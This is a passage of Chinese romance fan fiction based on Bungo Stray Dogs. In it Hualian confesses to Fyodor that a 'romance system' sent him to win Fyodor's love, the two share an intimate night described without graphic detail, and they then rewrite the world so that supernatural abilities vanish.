最终那个最为恐怖的猜想还是浮现在了眼前。 他再次看向对方怀中抱着的花束,那束花通体由百合和玫瑰组成,红白相间中还参杂着些许紫色调的风信子和勿忘我,这些花背后花语都有一个共同点——“爱”。 “……花言,能问一下这束花是给谁的吗?” 太宰治由衷希望对方的回答是扫墓用的,但事与愿违。 “费奥多尔。” 花言不理解对方问这个问题的缘由,不过还是回答了对方。 果然。 太宰治的表情彻彻底底地扭曲起来了,像是吃到了什麽让他反胃又吐不出来的东西。 他艰难地进行最后的确认,“你的任务……实际上该不会是跟费奥多尔谈恋爱吧?” 倒也没有那麽直白。 花言含蓄地回答,“其实是攻略费奥多尔。” 这有什麽区别啊?! 太宰治简直瞳孔地震! “等一下,花言,你不觉得这件事情很诡异吗?那个高维的东西大费周章把你送到这个世界,居然只是为了让你攻略费奥多尔??” 这是在干什麽?愚人节特典吗?! 更匪夷所思的是对方居然真的照做了!? 之前对方想杀费奥多尔的原因,该不会是在试图反抗那个东西给的任务吧?直到对方发现难以抵抗,无奈之下才选择了顺从?? 太宰治认真地劝告,“花言,我觉得那个东西一定不吉利,搞不好还有诅咒,甚至极有可能是什麽邪神,我们一起想办法帮你摆脱那东西的控制吧。” 听到前半句话,花言还在赞同点头,这系统确实有诅咒,他自从绑定上运气就变得不稳定,时常倒霉。 不过后半句的邪神就有点抬高这个未毕业系统了,还没有到那种令人不明觉厉的地步。 “它不是什麽邪神,嗯……就是有点不靠谱吧。”花言为系统挽了一点声誉,“而且它现在已经要离开了。” 只不过是因为他愿望还没决定好,再加上他十分担忧对方会因为被毙掉论文而未能毕业直接销毁,才将对方留了下来。 太宰治:。 看对方的反应怎麽一副乐在其中的样子,难道对方之前表现出对费奥多尔的热情都不是演的? “……那你之前为什麽想杀费奥多尔?” 这下轮到花言沉默了,原来误解的不止果戈里一个吗? 他委婉地试图掩盖自己不擅长这方面的真相,“其实这是我为了接近费奥多尔用的一点点小手段。” 太宰治:…… 什麽人会用这种方式去接近攻略目标啊?! 太宰治觉得这不是他的问题,这换谁都会认为对方的任务是杀费奥多尔,甚至就连费奥多尔本人当时都是一副以为对方想杀自己的反应吧! 按照这个真相,他对花言做出种种举动的猜想都要推翻,对方极有可能真的不知道“书”只剩书壳,而世界的维持也是对方无意识下达成的。 换句话说,这个攻略任务正好符合花言的想法,甚至说不准是根据对方爱好生成的,对方所做的一切都是出自于本心,包括抢“书”也是为了协助费奥多尔完成理想。 现在费奥多尔在“书”只剩书壳的情况下没有任何行动,反而愿意空出所有时间陪花言…… 大概率是……花言愿意付出什麽代价令费奥多尔在没有“书”的情况下也能够达成理想,为后者创造出一个没有异能者的世界。 花言能够取代“书”维持世界稳定,自然也能做到这一点。 但是,现在他们也并不是什麽都做不了。 在抢夺“书”的行动里,费奥多尔精心布局,刻意隔绝了弗朗西斯接触到花言,也隔绝了他和中岛敦以及泉镜花。 既然花言说任务已经完成,那费奥多尔肯定也对花言有所感情,能够让费奥多尔这麽做的原因只有一个——不想让花言为难或是动摇。 弗朗西斯和花言关系很好,他们是朋友。 中岛敦和泉镜花年纪尚小,花言对于年纪尚小的人都会网开一面。 更何况从之前来看,花言对中岛敦的态度还算不错,连骗后者分离异能用于找“书”时都会顾及对方的安危,最后哪怕一无所获也分给了对方甜品。 至于隔绝他……只能是单纯不想让他接触花言。 毕竟费奥多尔也很清楚,情感对于他们这种人来说是最为致命的弱点。 “花言。”太宰治缓缓开口,“你应该也知道费奥多尔的理想,他想要一个没有罪恶异能者的世界,如果他实现理想的方式是杀光所有的异能者,你也要帮他吗?” 花言不是没想过这种情况,虽然从费奥多尔之前的反应来看,对方似乎暂时没有想要和他死在理想完成那一刻的想法,但这并不意味着对方不会选用这种极端的方式。 如果最后对方要这麽做…… 他能跟对方商量一下,让他把弗朗西斯他们送到平行世界去吗? 同样的,太宰治挑拨离间的意图有点太明显了。 花言搂紧花束,没有回答这个问题,“如果你没有什麽其他事情要说,我回去了。” 太宰治并不需要对方确切的回答,他只需要花言那一瞬间的迟疑就足够了。 他随意地挥了挥手跟对方告别,“希望我们下次还能再见,花言。” 这句话的暗示意味也很明显。 明显到花言已经明白了太宰治没有任何反转局面的后手。 他没有回应太宰治,脑海中想起自己还在等费奥多尔的事实,脚下速度不自觉加快。 在快步走出巷子口的一瞬间,花言看见了静静伫立在墙边的费奥多尔,后者似乎在思考什麽极为困惑的事情,眼眸微垂,手中还提着给他买的甜品。 听见脚步声,那双紫罗兰色的眼眸抬起,目光也随之落在了他脸上。 花言从对方没有第一时间开口而是仅看着他的反应里缓缓意识到事情似乎有点不妙。 他犹豫地伸手牵住了对方,想要先离开这里,毕竟太宰治还在后面。 费奥多尔没有拒绝,顺从地跟上了对方的脚步。 “细雪”掩去了两人的身形,花言一边带着费奥多尔朝他们所处的据点走去,一边斟酌着询问。 “费佳,你什麽时候来的?” 费奥多尔语气仍旧温和,但说出口的内容却让花言瞳孔地震。 “在您跟太宰治进巷子里的时候。” “你都听见了?” 花言不死心地确认。 费奥多尔轻轻点头,“嗯,我都听见了,花言。” 花言:…… 系统不该说他阴湿的,费奥多尔才是真正的恐怖如斯。 怎麽他每次悄悄跟其他人说些不想让对方听见的内容,对方都能恰好听见? 这对吗? 第130章 花言脑海里反复播放他跟太宰治说的那些内容。 无论是原本想假装不知道“书”仅剩书壳的事跟他有关——将他其实不会被驱逐出世界的乌龙事件隐瞒到最后,直到尘埃落定给对方一个惊喜得到皆大欢喜的结局,还是他其实有个攻略任务的事情,全部都暴露了个彻底。 这下不仅他在对方心里的印象要发生微妙的改变,甚至搞不好要出现什麽情感危机了。 花言下意识搂紧花束,怀中浅色调包装纸受力发出的簌簌声响让他重新想起自己打算给对方送花的事实。 一次主动换来一生内向。 不过,既然不知道从何说起,那不如先送花算了。 如果用“听我解释”作为开场白会显得有些此地无银三百两,在各种狗血爱情剧里也通常都会激怒恋人,所以先送花安抚一下对方的情绪好像是个不错的选择,也许会产生那种“其实我是去给你准备礼物”了的峰回路转效果。 花言在距据点一步之遥的地方停下脚步,他深吸一口气,做足了心理准备才抬头迎上那双平静到看不出任何情绪的紫罗兰色眼眸,将手中的花束递给对方。 “费佳,新年快乐。” 费奥多尔:…… 费奥多尔没想到对方思考这麽久居然会选择先送他花,像是思维已经完全乱成一团,把自己缠进了死角一样。 他沉默半晌,还是伸手接过,一声叹息自唇边溢出,主动为对方梳理思绪,“花言,您跟太宰治说的话都是真的吗?” 峰回路转的效果好像没达成,但费奥多尔似乎也没怎麽生气。 花言很清楚对方问这个问题不是想要得到答案,而是想要他的亲口承认。 “嗯,抱歉……我被一个不靠谱的攻略系统绑定,它给了我一个攻略你的任务,“书”仅剩书壳的事,其实也是它干的。” 花言说完又就觉得这样的解释有点太简陋,更进一步地说明,“不过……费佳,我对你的情感无关这个攻略任务。” 费奥多尔当然清楚这一点,他能够感受到花言情感的真假,也十分清楚对方对自己的爱意不掺任何他人因素。 但是…… 从听见花言说出任务是攻略他开始,他心底就浮现出了深深的疑惑,不由得开始回想对方从来到这个世界开始的每一个举动。 以至于现在其他问题都被放置在了一边,只有一个疑问尤为清晰。 原来对方在攻略他吗……? 真的,在攻略他……吗? 怎麽他印象里好像一直都是他在主动接近对方? 如果是攻略任务的话,不该是对方主动接近自己吗……? 费奥多尔陡然沉默,他忽然想起对方最开始其实主动接近自己了,然后就造成了连带着他在内的所有人都以为对方想杀他,甚至不惜他们都拉入一个无异能的平行世界体验校园生活,参加自相残杀游戏,给他创造了一个看似孤立无援的环境。 提起自相残杀游戏…… 如果花言做这一切都是为了攻略他,那他得出的——有关对方的所有信息说不准都要推翻。 费奥多尔打开了花言身后据点的门,微笑着朝后者开口,“这样看来我还有很多事情需要问您呢,先进来吧,花言。” 花言敏锐察觉到对方语气背后的危险,考虑到对方恶劣的一面,他有点不太想进。 可这件事归根结底是他的问题,不进有点不太好,会显得他很没担当。 花言短暂犹豫了片刻,还是顺应对方的话抬起脚步走了进去,门在身后合拢,隔绝了外界,显得有些寂静昏暗,属于临近夜晚时间段的晦暗在此刻展现的淋漓尽致。 费奥多尔似乎先将手中的东西放在了玄关柜子上,耳边传来塑料袋与物品相触发出的悉悉索索声响。 花言习惯性地想要先去开灯,但伸出去的手却在半空中被另一只体温偏低的手轻轻握住。 光线昏暗的环境里花言只能看清对方的大致轮廓,看不太清具体表情。 “费佳……?” “嗯,不用太过紧张,花言,我只是想问您一些问题。” 费奥多尔的嗓音一如既往地优雅温和,如果忽略逐步浸染呼吸间的清冷气息,以及颈侧像是被发稍划过皮肤的细微痒意,花言可能更会相信对方只是单纯想问他问题,这种模样分明更像是想跟他算账。 他没能忍住微微偏头,“你可以直接问的,费佳,只要是我知道的都会告诉你。” “那……先跟我说说您的事吧,您怎麽被那个系统绑定的?”费奥多尔不紧不慢地提出了他想要了解的最为关键的一点。 这个问题很好回答。 “玩手机被数据线电死……”花言说到一半又反应过来他好像不是被电死的,改口道:“不小心猝死了,然后被一个还未毕业的攻略系统捡到绑定了。” 纵使对方改口很快,费奥多尔也听见了对方前半句的荒谬死法,无论是第一种的死法还是第二种的死法,好像都跟手机脱不开关系,他隐约有些明白对方为什麽很少用电子产品了,是因为有了某种心理阴影吗? “那攻略目标……是系统为您选定的,还是您自己选定的?” “大概是它根据我最喜欢的对象挑选的。” 花言已经从这两个问题里明白了对方想要了解的作用域,他干脆利落地将在来到这个世界开始到在船上跟对方见面的事情都说了出来,包括系统给他捏异能时为了图方便直接套用原来游戏数据忘记降维的事情,以及在系统的“一计”下开启校园副本结果出现各种意料之外情况的事情。 花言所说的一切都跟费奥多尔的推测截然不同,所有事件背后的原因都相当单纯——纯粹是为了攻略他。 只是因为花言没有这方面的经验和知识,以及绑定对方的攻略系统也是个无法未毕业的不靠谱系统,才造就了种种误解。 仔细回想,花言确实没有故意误导他过,是他把事情想得太复杂了。 费奥多尔还是第一次感受到这种像是被捉弄——让他自己因自己的思维方式而先入为主,导致全部误判的无力。 甚至如果不是因为听到这两人的对话,他还不知道要等多久才能发觉这一点。 费奥多尔唇蹭过对方耳尖,有些不太高兴,“花言,您攻略的对象明明是我,为什麽太宰治会比我知道更多呢?” “我也不知道……”花言眼眸微微眯起,想躲又忍住了,“我跟太宰治见面的次数明明也不多……” 考虑到某种当局者迷旁观者清的定律,他将跟太宰治见面时发生的事情都跟对方讲述了一遍。 费奥多尔听到最后得出了结论——太宰治跟他一样想得太过复杂,只不过对方侧重点跟他不同,凭借着全错的开头和全错的过程误打误撞得到了正确的答案。 “可如果是这样,您和那个攻略系统到底是怎麽做到把“书”变得仅剩书壳的?”费奥多尔对此颇为困惑,“这也是您攻略的方式吗?” “呃……不是,这个是意外。” 花言心虚地游移了视线,哪怕眼前光线昏暗到他什麽都看不清,他也仍旧欲盖弥彰地看向了角落。 “费佳,你之前不是利用了“书页”让平行世界跟这个世界融合吗?那个时候系统把世界要驱逐我的意图当作了能量不够的失败预兆,反向抽取了“书页”的力量,结果一不小心抽多了,抽到了“书”本体上……” 费奥多尔有些不知道该怎麽说花言和这个系统了,难怪对方会一直强调这是个不靠谱的未毕业实习攻略系统,这确实很能闯祸。 “……“书”消失的“书页”,难道是您给我的这些?” “哈哈,不是。”花言干笑了两声试图缓解尴尬,“这个是你最初拿到的那张“书页”无文本版复制体,“书”消失的“书页”……被我在无意识间用掉了……” 他忽然想到了什麽,“费佳,你在世界融合后得到的结论是什麽?” “这个世界是‘主干’,而能够控制所有平行世界、又不会被影响的您,是所有世界的‘根源’,也是‘根部’。”费奥多尔指尖漫不经心地卷着对方脸侧的碎发,“我完全误判了呢。” “其实也没有。”花言不好意思地说道:“虽然时间前后有点问题,不过,费佳,现在你的结论成真了……” 花言将实体化所有平行世界数据时的事情都告诉了对方。 虽然他不太确定自己是不是成为了所有世界的“根源”,不过既然对方得出了这样的结论,那一定有合理的逻辑。 比如说身为世界根源的“书”变成这个样子其实会让世界出现问题,但现在毫无动静一定是被取代了之类的。 所以没准他真成为了“根源”…… 怎麽听起来有点真要成神的感觉? 费奥多尔沉默许久,“您……身体真的没事吗?” 凭一己之力支撑无数个平行世界,这似乎已经不是人类能做到的作用域了。 “好像没什麽不舒服的地方?”花言认真感受后确认了这一点,他安慰道:“没关系,大不了到时候我把那个攻略任务完成的愿望用在这里好了。” 费奥多尔:…… 甚至对方攻略任务确实已经完成了。 费奥多尔简直匪夷所思,怎麽会有人把攻略任务做成这样? 他承认,他确实被对方所吸引,也产生了情感,但…… 如果对方要攻略他的话,不该是对方不竭余力地主动吗? 怎麽会有人在攻略上全靠攻略目标主动,在其他地方反倒游刃有余突飞猛进? 费奥多尔有些气恼,没忍住低头咬上眼前青年脆弱敏感的颈侧,牙齿稍稍用力磨着那块软肉,不出意料地听见对方猝不及防从唇边溢出的气音。 致命处感受到的细微痛楚让对方本能地想要反抗,但那只手在虚握上他的发稍后又很快松开,仅搭在那里没有了进一步动作,似无声的忍耐与纵容。 花言对他一向予取予求,仿佛无论怎麽样都没关系。 如果对方来这里的原因、做出的种种举动、得到的所有结果……都是因为他,那他再过分一点也没什麽关系吧? “花言。” 费奥多尔用唇碰了碰那片被他咬出深深齿痕的皮肤当作安抚,呢喃着问出太宰治问对方的最后一个问题,同样也是对方没有回答的问题。 “如果我真的想杀光所有异能者彻底净化世界呢?您依旧会帮助我吗?” 这个问题…… 花言有些迟疑,视野受限他看不清对方的表情,仅通过语气他判断不出对方的真正想法。 如果费奥多尔想的话,他当然会帮助对方,可这样一来他们是不是也都得死? 成为殉道者点燃理想迎接无尽白昼的结局也不是不行,但果然还是会有点不舍…… 他到时候要是利用愿望带着系统悄悄去捞费奥多尔的灵魂,再找个无异能世界一起复活,不知道会不会让对方生气。 费奥多尔从花言长时间的安静中,得知了后者极有可能已经走神的事实,他另一只手顺着对方斗篷间的缝隙进入了那一片温热的空间,指尖抵在对方腰侧微微用力,用自身冰冷的温度强行唤回对方的注意。 有些不满地轻声催促,“花言?” 被对方冰了一下的花言抽了一口冷气,感受到对方隐约有要掀起衣摆更深一步探入的意图,他当即点头,“会。” 费奥多尔得到了答案没有第一时间开口,他若有所思地摩挲着对方手腕,指腹清晰感知到下方那抹心跳,“这种反应……花言,您是在骗——唔,您应该不会骗我,所以……在这个答案之后,您是有什麽想法瞒着我吗?” 花言:…… 难怪对方一直握着他手腕不松开,原来是为了这种时候。 “好吧……” 花言犹犹豫豫地问道:“费佳,在最后我们死的时候,我能捞走你的灵魂带你去其他没有异能的世界生活吗?” 费奥多尔好说话地点头,“如果您更想我一直陪着您的话,当然可以。” 花言的心思活络起来了,他再次试探,“那……我能在你开始杀光异能者之前,把弗朗西斯他们送到平行世界去吗?” 费奥多尔:…… 感情在对方这里,他可以死了再复活,而弗朗西斯他们可以直接不用死是吗? 他指尖微微用力,语气仍旧温和,“您不觉得您有点得寸进尺了吗?花言?” “噢……”花言失落地应了一声,旋即又重整旗鼓,“无论怎麽样,我都会帮你的,费佳,你想怎麽做?” 费奥多尔没有忽略对方短暂的失落。 虽然花言的反应没有完全让他满意,不过以对方本身的性格来看也很正常,对方的犹豫会在得到他绝对的态度时摒弃,已经变相证明了他的重要性。 同样的,如果他真的那麽做,最后那双拥有着世界所有色彩的漂亮眼眸也会彻底崩坏吧,就像是一点点融化的冰淩,不断往下坠着水珠,直到露出背后干瘪的枯枝。 ——这是与对方性格完全相悖的事情,对方不会拒绝他,只能消磨自己。 费奥多尔松开控制住花言的手,指尖抚过对方脸颊,轻轻叹息,“骗您的,花言,我不会让您为难。” 那就是对方其实不会这麽做的意思了。 花言安心了。 从费奥多尔会松开他、以及那句像是承诺的坦白来看,他似乎已经安抚好了对方。 既然对方都这麽说了,那他现在不得提点什麽以防出现下次再出现这种情况? “费佳……下次你可以不要再悄悄旁听我跟其他人的谈话吗?只要是你想知道的,我都会告诉你。” “花言,我第一次确实不是故意的,而这一次……” 费奥多尔眉头微蹙,仿佛是在疑惑对方怎麽好意思提这点的。 “如果您跟太宰治一同离开的那个时候回一下头,稍微看一下我所在的方向,就能发现我正在路对面等红绿灯,如果我记得没错,我们当时的约定是——让您在这里等我。” 对方因买花离开就算了,跟太宰治离开算怎麽一回事? 费奥多尔缓缓提醒,“而且如果我没有跟上去,以您的性格,我不问的话,您也不会主动告诉我这一切吧?” 言下之意是——虽然花言不会隐瞒或者说谎,但那也得费奥多尔先意识到问题并问了才行——这完全是在玩文本游戏。 花言:…… 花言选择性忽略了对方后一句话,仅解释了前面一句,“我如果说,我只是被太宰治的态度误导了,以为他有什麽后手才跟他离开的,你会信吗?” “我当然相信您。”费奥多尔从容不迫地点头。 对方这句话让他意识到了自己的错误。 可能是他一直以来都太过主动,让对方养成了一点不太好的习惯。比如说会在一些特定的环境下因完全交付给他的信任,选择将注意力先放在其他人身上,从而不小心忽略他的存在和想法。 他或许不该这麽轻易放过花言,该给对方一点教训,最起码要让对方意识到有些时候不能太贪心。 费奥多尔话音一转,将话题重新拨回最初,“花言,您有没有发现您的攻略任务能够完成,很大有一部分原因都是我在主动?明明您才是攻略者,您不打算对此表示些什麽吗?” “……我们现在可以当作刚刚什麽都没发生过吗?” 花言后悔了,他没想到对方还能把翻篇的事情再翻回去,这未免有些过于小心眼了。 “您说呢?” 费奥多尔不紧不慢地打开了对方最初想打开的灯,暖色调的光芒骤然洒落,照亮了彼此。 花言一脸纠结地站在原地,垂落在身侧的手无意识地捏着斗篷内部的绒毛,想到的每一个补偿都因为种种原因划去,干脆选择权递给对方。 “费佳,你想要什麽?” “要让我提要求吗?”费奥多尔好心地确认。 直觉告诉花言,对方一定不会提出什麽轻松的要求,不过以对方的性格,既然主动提及了这一点,那无论如何一定会达成目的,所以他的选择根本不重要。 花言无奈地点头,“嗯,既然是给你的补偿,那自然由你来提。” “这样的话……”考虑到对方做出的那一系列事情,费奥多尔贴心地为对方做出了选择,“通常攻略任务不是都需要做些什麽提升攻略目标的好感度吗?花言,作为表示,您来试着主动取悦我吧?” 花言瞳孔地震! 真的假的?他取悦费奥多尔……? 事已至此……要不然…… 费奥多尔捕捉到对方逐渐瞥向甜点和晚餐的视线,率先否决,“花言,把您喜欢吃的甜品分享给我不算是取悦我,这是您的爱好,不是我的。” 花言萎靡下去了,“费佳,你明明知道我不擅长这方面。” 费奥多尔确实知道,他就是故意的。 鉴于让对方自己思考可能会耗到天亮,费奥多尔还是给予了提示,“花言,请您认真回忆我们相处过的时光,以您的头脑能够得出答案的,不要让我失望,亲爱的。” 最后的话语被对方用故乡的语言吐露,微微低哑的嗓音裹挟着磁性,无端显得缠绵又缱绻。 花言感觉自己好像被上压力了,不过他对这方面确实不是毫无头绪。 费奥多尔大部分时候展现出来的情绪都很淡薄,犹如西伯利亚枝头最轻盈的新雪,连唇边一直挂着的温和笑意,也像是一层用于体现自己亲和力让人放下戒备的伪装。 因此只要重点回忆对方情绪浓烈的时候,就能轻易得出答案。 ——对方喜欢他直白坦露出的爱意。 要做的事情有些太过于难为情,花言艰难地闪烁其词,“费佳,我……” “您已经想到了,不是吗?” 费奥多尔伸手捧起对方脸颊,循循善诱地进一步逼迫对方吐露,“花言,对我说出您的情感、说出您其他喜欢我的地方……说出,能够让您对所有的‘我’都特殊的原因。” 费奥多尔执着到近乎偏执的询问已经很好告知了花言他此刻别无选择。 或许是一直以来他近乎于无的主动,才会让费奥多尔偏向于用这种方式不断确认他的情感。 在一段恋情中,也确实不能一直让某一方主动。 花言轻轻呼出一口气,用自己的双手覆上对方捧在他脸颊两侧的手。 “费佳,我喜欢你见证时光流逝时代变迁近乎什麽都知道的无所不知,喜欢你如火焰般燃烧的理想,喜欢你身上深远而又危险的气息,喜欢你在理想的道路上仿佛要将世界连带着自己也焚烧殆尽般的殉道风格……” 花言眼眸一眨不眨地注视着费奥多尔,被封存在心底一直扣扣索索只一点点掏出来的爱意在此刻尽数倾泻。 “我喜欢你的全部,无论是好的一面还是坏的一面,我全都喜欢。” 费奥多尔得到了想要的回答,弯起的眼眸中盛满了发自内心的笑意,他低头粘贴了那片柔软温热的唇,回应了对方好不容易蓄积出的勇气与这份纯粹到只供给他一人的情感。 微凉的指尖牵引着对方自己解下披在肩头的斗篷,从领口往下逐一解开扣子。 朦胧到似引诱的话语自唇边溢出,轻轻蹭过对方白皙温暖的皮肤,“再对我呈现您更多的爱意吧,花言。” 花言小幅度地抬起头,感受到对方动作逐渐往下,他指尖搭在对方肩头。 “别在这里,费佳……” 这个要求费奥多尔自然会同意。 暧昧缠绵的氛围不断在柔软的床铺上蔓延,不成句的零碎话语与喘息一同回响。 花言模糊的意识在对方的手中逐渐偏移——他应该先让对方修下指甲的,不然每次都这样有点太过了。 在身体完全被打开,即将步入正剧的那一刻,费奥多尔忽然停下了动作,连带着两人的位置也发生了转换。 花言坐在费奥多尔腿上,下意识搂住对方脖颈,有些迷茫,“费佳?” “嗯,不是说好要取悦我吗?花言?” 费奥多尔指尖还沾着晶莹的水光,一点点摩挲过对方腰际,他意有所指地说道:“一切我都为您准备好了,您学东西也很快,知道接下来该做什麽的,对吗?” 花言慢半拍地意识到了什麽。 他缓缓睁大了眼眸,没想到这也在取悦对方的范围内。 顶着费奥多尔似鼓励般温柔的视线,他低头看了一眼,又抬头看向对方,又低头。 如此反复确认了几遍,有点想去捡衣服遗憾离场了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第131章 最终花言还是没如愿遗憾离场,他的体力不算好,更别提这种需要他主动的方式会更加消耗他的体力,也会给他带来更深的感受与更多的刺激。 无论费奥多尔怎麽诱骗,花言也只堪堪努力了十几分钟,而这十几分钟里有一半的时间花言都用在恢复恍惚失神的状态上了,到后面还是由对方接过了主动权。 伴随着时间的推移,体力在前期极快流逝的弊端暴露了出来,他模糊的视野因身体上的疲惫而开始一点点被黑暗侵蚀,困倦似潮水般在对方动作间涨落,反复拉扯抵达极限,直到超过阈值彻底失去意识。 等后面再睁开眼睛,已经是第二天中午的事情了。 花言指尖抵在眼前,稍微遮挡了一下窗帘间隙里透进来的光,慢吞吞地翻了一个身,不出意料地发现身侧的恋人已经起床,那块位置摸上去没什麽温度,证明对方离去多时。 花言有些佩服费奥多尔了。 虽然他半路不小心睡过去——不知道对方做到了多晚,但以当时费奥多尔的状态,以及他现在身上干净的清爽感来看,最起码对方要比他晚睡一个多小时,哪怕这样对方都依旧能够自律地早起,已经打败了世界上百分之九十九的人。 花言平躺在床上无意义地放空思绪,重新熟悉自己有点使用过度的身体。 细数从昨天下午开始,到现在他都没怎麽吃东西,原本打算吃的晚饭也因为费奥多尔而遗忘。胃部因长时间没进食而发出声响以示空旷,可精神上的餍足与身体上的酸楚又让他慵懒地不想起床。 门把手被转动的开门声在空气中传递,费奥多尔像是知道他醒了会饿又不想动弹一样贴心地端进来了午饭,顺带将他昨天想吃又忘记吃的冬季限定甜点也放在了床头柜上,完美解决了他的困扰。 费奥多尔将手中的水递给床上的白发青年,满怀歉意地开口,“抱歉,花言,您还好吗?” 自家恋人身体过于敏感,能够承受的极限比较低,虽然反应很有趣,但如果做的太过分就会出现昨晚那种情况,不过他也借此彻底摸清楚了对方的具体界限,之后再慢慢来好了。 做那种事的时候晕过去说出来有点丢人,他假装自己没有累到不想起床,嘴硬地点头,“还好。” 然而发出沙哑的嗓音完全拆穿了他的伪装。 花言沉默了片刻,选择先喝下杯子里的清水,缓解嗓子的干涩,紧接着欲盖弥彰地转移了话题,“好像有点饿了。” 费奥多尔轻轻笑了一声,将午餐递了过去,没有再说些什麽,仅单纯坐在床边陪着对方,时不时替对方把滑落在脸侧、阻碍到了进食的长发挽回耳后。 胃饥饿的灼热感渐渐被食物填充抵消,思绪重新恢复运转,花言咬着勺子提起了正事。 “费佳,你想用什麽样的方式达成你的理想?” “嗯……这确实是个问题呢。” 费奥多尔话是这样说,面上却没有多少苦恼的神色,他说出早已做出的决定,“如果直接清除所有异能者会让您为难,那将这个范围仅放在异能如何?” 异能者的存在像是扎根于这个世界的顽疾,哪怕用强硬手段收割了一茬,也会在时间的长河中重新浮现。 因此,他最初接近花言是想利用对方一次性彻底清除所有“顽疾”的,这样最为便捷,但……现在情况不同,要是对方会在这个过程中逐渐崩坏的话,那他也只能幸苦一点慢慢来了。 花言缓缓眨了眨眼睛,有些意外,“是只希望异能消失?” “嗯。”费奥多尔微微颔首,他接过空盘,把床头柜上的甜品换进了对方手中,“这一点或许要好好筹划一下呢。” 毕竟不确定的因素有点多,他需要先确定对方给他的那些“书页”,写在不同页上的内容究竟能不能关联起效,而写在“书页”上的内容又需要一定的因果逻辑,他得先找个合适的切入点作为让异能消失的“因”…… 花言知道对方所说的“筹划”是指哪些准备工作,他若有所思地说道:“其实不用筹划。” 费奥多尔下意识抬起眼眸看向眼前靠坐在床头的恋人,后者像是在顾及着什麽一样,表情有些犹豫。 但最后还是开口解释。 “费佳,既然现在我没有被驱逐出这个世界的风险了,系统的数据库也都在我这里,那……我们其实可以随便找一个没有异能的普通世界,仅把那个平行世界的世界观复制过来,彻底融进这个世界里,借此达到不影响其他,仅让异能消失的目的。” 花言说着将弊端也告诉了对方,“唯一的一点是……费佳,你知道的,除非我遗忘自己有异能,不然我无法被影响,所以可能需要你跟上次一样使用“书页”的同时,再稍微补充一下这方面……当然,也不一定有用,因为今时不同往日……” 后面的内容花言在说出口时委婉了不少,不过并不影响费奥多尔理解。 ——现在对方无意间用了“书”,彻底成为了所有世界的“根源”,“书页”不一定会对对方起效。 费奥多尔有些欲言又止,并不是因为对方可能无法失去异能这件事,而是因为他发现自家恋人在某些时候格外会得寸进尺。 比如说昨天在得到他退让的态度后会更进一步试探他的底线,又比如现在对方在得知自己不会被驱逐后,直接明着来了,连用于遮掩的其他东西都不要了,仅留个世界观。 当然,他也很喜欢对方这种像是得志后忘本的细微一面。 花言没有第一时间得到对方的回答,以为费奥多尔很介意这一点,他纠结着说出了一个新的提议,“实在不行的话,我用那个愿望替你达成理想?费佳?” 对方都愿意为他收敛一些了,那帮助对方让异能消失得彻底一点也未尝不可。 “不,花言,先按照您说的来试试吧。”费奥多尔抚过对方脸颊,温和地提醒,“那是您得到的奖励,理应实现您的愿望才对。” 其实花言没什麽想实现的愿望,他想要的都已经达成,不过对方都这样说了,那他干脆等尝试后再看吧。 花言应了一声,挖起一勺清甜的奶油送进口中。 考虑到花言身体上的不适,费奥多尔起身去书房将对方之前给他的两本书都拿进了卧室,“书”被放置在床头柜上打开,所有平行世界的简略数据被放置在了对方身侧。 费奥多尔坐在床边柔软的地毯上,指尖握着的钢笔在“书页”上不断移动。 既然现在花言能够直接仅复制世界观融合进这个世界,自然不需要太多的赘述,也不完全不必担心“书页”之间的内容能不能连贯起效,因为一张“书页”已经足够了。 脑海中的构想不断化为具体文本落下。 为了避免出现跟上一次相似的情况,费奥多尔抬头看向床上的青年,“花言,如果出了问题,请您一定要第一时间告诉我。” 这是什麽话? 花言不满地强调道:“费佳,我不是系统,这次由我主导绝对没问题!” 费奥多尔也希望是这样,但也许是对方以前给他留下的——不了解自身的印象太过深刻,再加上对方跟那个系统凑在一起制造出的种种情况,以至于他现在总不太放心。 告示终结的最后一笔落下,目光交汇间,花言会意地抬手更改了这个世界的世界观。 与之前融合世界时近乎无二的气息降临,潜移默化中有什麽一点点被改变,却无人第一时间察觉。 窗外似岩石层般厚重、沉淀了数年时光的天际又开始飘下雪花,这是新一年的初雪,也是封存旧世界的终末之雪。 掩藏在少部分人灵魂深处的异能伴随着这场初雪的落下逐渐凝结坠落,似从未存在。 这点如同涟漪般的影响自此世逐渐往上蔓延,传播得越来越远,远到仿佛丢下深井听不见回响的石子。 不同于之前当作副本降临的世界融合,现在“主干”某项程序的改变牵扯到了更为紧密的分支,连锁反应不断发生。 丢下深井的石子在此刻传递了回响,异能体系的消失反向影响到了花言自身。 ——像是有什麽东西被压回了最深处封存。 花言下意识看向自己指尖,尝试着复制了一下他人的异能用于验证猜想,不出意料地没能成功。 这种感觉像是在玩什麽木签游戏,如果想拿到最下方的木签,得先把压在下方木签上的木签移走才行——如果想要复制使用他人的异能,就必须要先撤销世界观的覆盖。 “花言?” 费奥多尔察觉到对方的神色与动作,这种举动已经很好证实有什麽问题在他不知道的地方发生了,手中笔尖落在“书页”内容特意留出空位,“还记得我们的约定吗?” “费佳,我没……” 花言本能想要阻止对方,以防后者动作太快直接都无效化了,结果他手还没能触碰到对方,本就劳累过度的腰先因为过于突然的剧烈动作抽筋了。 猝不及防的剧痛让花言倒抽一口冷气,直接被击沉,整个人栽倒回柔软的被子里,手抵在后腰处,想揉又不敢揉。 一只微凉的手隔着睡衣替他完成了不敢做的动作,轻柔的力道恰到好处地舒缓了那抹抽痛。 费奥多尔有些拿对方没办法,“还痛吗?” “还好……”花言脸埋在被子里没抬起来,他顽强地继续说道:“没事,费佳,一切都很顺利,可能是因为这个世界是‘主干’的原因,这份改变也影响到了其他同力量体系的平行世界,使得我异能里来源于其他人异能的那一部分被封存了……” 说到这里,他抬起头看向面前的恋人,有些遗憾,“也只有那一部分,其他没受到影响。” 这可能跟他成为了众多平行世界的“根源”有关。 “没关系,这个结果已经很好了。” 费奥多尔对此并不意外,即使他最初的计划一切顺利——拿到了“书”后按照对花言的误判,为后者重塑了一具正常的身体,也大概率无法清除对方身上所有的能力。 花言被赋予的异能从那个攻略系统直接套用了数据开始,就已经超过了异能的作用域,真正属于异能的只有对方使用的他人异能——这点在“人间失格”仅能无效化对方所用的重力操纵,却无法无效化对方复制出的衣物时,就已经得到了某种验证。 至于为什麽那个时候对方没有被驱逐出这个世界,费奥多尔认为可能是当时对方没做出什麽出格举动,再加上这一人一系统是为了攻略而来,太具有迷惑性,才得以留存。 这样看来花言的运气真的很好,不仅完成了攻略任务,甚至彻底成为了所有世界的“根源”。 